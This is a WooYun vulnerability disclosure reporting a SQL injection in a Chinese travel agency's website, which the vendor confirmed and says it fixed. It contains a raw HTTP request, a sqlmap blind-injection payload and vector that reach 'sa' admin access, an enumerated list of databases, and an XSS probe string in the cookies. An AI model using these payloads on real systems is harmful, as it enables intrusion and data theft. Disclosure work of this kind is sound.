当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144156

漏洞标题:中国国旅某站SQL注入(SA权限/涉及多库)

相关厂商:中国国旅

漏洞作者: 路人甲

提交时间:2015-09-30 08:42

修复时间:2015-11-26 09:02

公开时间:2015-11-26 09:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-30: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

RT

详细说明:

GET /line/s/leting?des=desc&gtype=1&jq=%E5%94%90%E5%B1%B1&ord=*&page=1&ts=2%E6%97%A5&type=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://new.citsbj.com:80/
Cookie: ASP.NET_SessionId=vo4uzrjvxkt2yohqmlewmn0i; tq_current_visit_time=1443451427462; tq_current_source_page_url=http://www.acunetix-referrer.com/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); Hm_lvt_1c590e7a1a09b876ef4c57f58c39c807=1443453241,1443453448,1443453673,1443453790; Hm_lpvt_1c590e7a1a09b876ef4c57f58c39c807=1443453790; tq_source_page_url=http://www.acunetix-referrer.com/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); SRV=38; HMACCOUNT=A5E86C9CA7909BDF; BAIDUID=A34EFC18480300DB4FDE25F46943236C:FG=1; bdshare_firstime=1443451959871
Host: new.citsbj.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
ord参数存在SQL注入
基于时间的盲住


漏洞证明:

sqlmap identified the following injection points with a total of 571 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace
Payload: http://new.citsbj.com:80/line/s/leting?des=desc&gtype=1&jq=%E5%94%90%E5%B1%B1&ord=(SELECT (CASE WHEN (5002=5002) THEN 5002 ELSE 5002*(SELECT 5002 FROM master..sysdatabases) END))&page=1&ts=2%E6%97%A5&type=1
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
---
web server operating system: Windows 8 or 2012
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2012
current user: 'sa'
current database: 'AwtripWeb'
current user is DBA: True
available databases [13]:
[*] APIawtripClub
[*] APIawtripWeb2
[*] AwtripClub
[*] AwtripWeb
[*] distribution
[*] imageServer
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] sohotoHotelDb
[*] tempdb

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-10-12 09:01

厂商回复:

非常感谢您的报告,问题已处理,十分感谢您对中国国旅的支持。

最新状态:

暂无